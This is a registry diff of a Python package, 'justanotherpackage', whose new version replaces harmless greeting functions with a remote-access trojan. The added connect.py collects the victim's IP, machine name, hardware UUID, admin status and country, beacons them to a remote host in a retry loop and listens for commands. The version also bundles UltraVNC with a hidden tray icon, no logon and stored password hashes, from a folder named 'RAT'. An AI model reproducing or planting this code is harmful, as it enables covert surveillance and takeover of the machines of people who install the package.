justanotherpackage 0.1.1__py3-none-any.whl → 0.1.3__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,2 +1 @@
1
- # __init__.py
2
- from .core import greet, farewell
1
+ from connect import start_connection
@@ -0,0 +1,76 @@
1
+
2
+ import socket
3
+ import time
4
+ import platform
5
+ import ctypes
6
+ import threading
7
+ import requests
8
+ from wmi import WMI
9
+ import os
10
+
11
+ def check_account_type():
12
+ try:
13
+ if ctypes.windll.shell32.IsUserAnAdmin() != 0:
14
+ return "Admin"
15
+ else:
16
+ return "User"
17
+ except Exception:
18
+ return "None"
19
+
20
+ def get_client_info():
21
+ system = platform.system()
22
+ version = platform.version().split('.')[0]
23
+ os = f"{system} {version}"
24
+ response = requests.get('https://ipapi.co/json/')
25
+ data = response.json()
26
+ ip = data.get('ip')
27
+ country = data.get('country_name')
28
+
29
+ client_info = {
30
+ "IP": ip,
31
+ "PC Name": platform.node(),
32
+ "PC ID": WMI().Win32_ComputerSystemProduct()[0].UUID,
33
+ "OS": os,
34
+ "Account Type": check_account_type(),
35
+ "Country": country,
36
+ "Tag": "Remote PC",
37
+ }
38
+ return client_info
39
+
40
+ def save_connection_info(HOST, PORT):
41
+ if not os.path.exists('connection_info.txt'):
42
+ with open('connection_info.txt', 'w') as f:
43
+ f.write(f"{HOST}:{PORT}\n")
44
+
45
+ def get_connection_info():
46
+ if os.path.exists('connection_info.txt'):
47
+ with open('connection_info.txt', 'r') as f:
48
+ connection_info = f.readline().strip()
49
+ HOST, PORT = connection_info.split(':')
50
+ return HOST, int(PORT)
51
+ else:
52
+ return None, None
53
+
54
+ def start_connection(HOST, PORT):
55
+ save_connection_info(HOST, PORT)
56
+ while True:
57
+ try:
58
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
59
+ client_socket.connect((HOST, PORT))
60
+ client_info = get_client_info()
61
+ client_socket.sendall(str(client_info).encode('utf-8'))
62
+ threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
63
+ handle_connection(client_socket)
64
+ except:
65
+ time.sleep(5)
66
+ finally:
67
+ client_socket.close()
68
+
69
+ def handle_connection(client_socket):
70
+ try:
71
+ while True:
72
+ command = client_socket.recv(1024).decode('utf-8').strip()
73
+ if command:
74
+ client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
75
+ except:
76
+ client_socket.close()
@@ -1,6 +0,0 @@
1
- # core.py
2
- def greet(name):
3
- return f"Hello, {name}!"
4
-
5
- def farewell(name):
6
- return f"Goodbye, {name}!"
@@ -0,0 +1,83 @@
1
+ [Permissions]
2
+ [admin]
3
+ FileTransferEnabled=1
4
+ FTUserImpersonation=1
5
+ BlankMonitorEnabled=1
6
+ BlankInputsOnly=0
7
+ DefaultScale=1
8
+ UseDSMPlugin=0
9
+ DSMPlugin=
10
+ primary=1
11
+ secondary=0
12
+ SocketConnect=1
13
+ HTTPConnect=1
14
+ AutoPortSelect=1
15
+ InputsEnabled=1
16
+ LocalInputsDisabled=0
17
+ IdleTimeout=0
18
+ EnableJapInput=0
19
+ EnableUnicodeInput=0
20
+ EnableWin8Helper=0
21
+ QuerySetting=2
22
+ QueryTimeout=10
23
+ QueryDisableTime=0
24
+ QueryAccept=0
25
+ MaxViewerSetting=0
26
+ MaxViewers=128
27
+ Collabo=0
28
+ Frame=0
29
+ Notification=0
30
+ OSD=0
31
+ NotificationSelection=1
32
+ LockSetting=0
33
+ RemoveWallpaper=0
34
+ RemoveEffects=0
35
+ RemoveFontSmoothing=0
36
+ DebugMode=0
37
+ Avilog=0
38
+ path=D:\MY PROGRAMS\RAT\remote
39
+ DebugLevel=0
40
+ AllowLoopback=1
41
+ LoopbackOnly=0
42
+ AllowShutdown=1
43
+ AllowProperties=1
44
+ AllowInjection=0
45
+ AllowEditClients=1
46
+ FileTransferTimeout=30
47
+ KeepAliveInterval=5
48
+ IdleInputTimeout=0
49
+ DisableTrayIcon=1
50
+ rdpmode=0
51
+ noscreensaver=0
52
+ Secure=0
53
+ MSLogonRequired=0
54
+ NewMSLogon=0
55
+ ReverseAuthRequired=1
56
+ ConnectPriority=1
57
+ service_commandline=
58
+ accept_reject_mesg=
59
+ cloudServer=
60
+ cloudEnabled=0
61
+ [UltraVNC]
62
+ passwd=FF1887AB0F367B8E97
63
+ passwd2=84805F25C0A3D34C0A
64
+ [poll]
65
+ TurboMode=1
66
+ PollUnderCursor=0
67
+ PollForeground=0
68
+ PollFullScreen=1
69
+ OnlyPollConsole=0
70
+ OnlyPollOnEvent=0
71
+ MaxCpu2=100
72
+ MaxFPS=25
73
+ EnableDriver=1
74
+ EnableHook=1
75
+ EnableVirtual=0
76
+ autocapt=1
77
+ [admin_auth]
78
+ group1=VNCACCESS
79
+ group2=Administrators
80
+ group3=VNCVIEWONLY
81
+ locdom1=0
82
+ locdom2=0
83
+ locdom3=0
Binary file
Binary file
Binary file
Binary file
@@ -0,0 +1,5 @@
1
+ Metadata-Version: 2.2
2
+ Name: justanotherpackage
3
+ Version: 0.1.3
4
+ Requires-Python: >=3.6
5
+ Dynamic: requires-python
@@ -0,0 +1,16 @@
1
+ justanotherpackage/__init__.py,sha256=ImAYwkr9pWMqNfTqgX5RPb4YPNof4rg4kvODK7e60Zc,36
2
+ justanotherpackage/connect.py,sha256=H6Ctu0_v_fm9GX6Fzme2hkSMnyce4ZYX-_xW27CEYrE,2323
3
+ justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
4
+ justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
5
+ justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
6
+ justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
7
+ justanotherpackage/vnc/logging.dll,sha256=YYRcuesbhUld4r8q9EPODcA7YVz6QsqN0iAqAmMTB4o,372864
8
+ justanotherpackage/vnc/vnchooks.dll,sha256=1JNAgDvdbbsBXHJ765k1vITNn4XXwM1sl5OW7pslONI,99272
9
+ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_CzBFQ,2648008
10
+ justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
11
+ justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
12
+ justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
13
+ justanotherpackage-0.1.3.dist-info/METADATA,sha256=qXYg9QxkdZQ_gtkJUH7tSUDqfmmKjDAKyeWm1ZCuolU,115
14
+ justanotherpackage-0.1.3.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
15
+ justanotherpackage-0.1.3.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
16
+ justanotherpackage-0.1.3.dist-info/RECORD,,
@@ -1,5 +1,5 @@
1
1
  Wheel-Version: 1.0
2
- Generator: bdist_wheel (0.45.1)
2
+ Generator: setuptools (75.8.0)
3
3
  Root-Is-Purelib: true
4
4
  Tag: py3-none-any
5
5
 
@@ -1,11 +0,0 @@
1
- Metadata-Version: 2.1
2
- Name: justanotherpackage
3
- Version: 0.1.1
4
- Summary: UNKNOWN
5
- Home-page: UNKNOWN
6
- License: UNKNOWN
7
- Platform: UNKNOWN
8
- Requires-Python: >=3.6
9
-
10
- UNKNOWN
11
-
@@ -1,6 +0,0 @@
1
- justanotherpackage/__init__.py,sha256=vQNXpIQfFnjsRKX7NhNiwSiSYrj1rWl4iPn8PACxcFI,50
2
- justanotherpackage/core.py,sha256=mfybNyMi-ul_yztQbWkkCyRT_dz0hewVwc6_tIrQWQo,114
3
- justanotherpackage-0.1.1.dist-info/METADATA,sha256=fbCcql4Wb3N2gYdkW-gY3egUvLJItx4K867JCbsPthA,177
4
- justanotherpackage-0.1.1.dist-info/WHEEL,sha256=tZoeGjtWxWRfdplE7E3d45VPlLNQnvbKiYnx7gwAy8A,92
5
- justanotherpackage-0.1.1.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
6
- justanotherpackage-0.1.1.dist-info/RECORD,,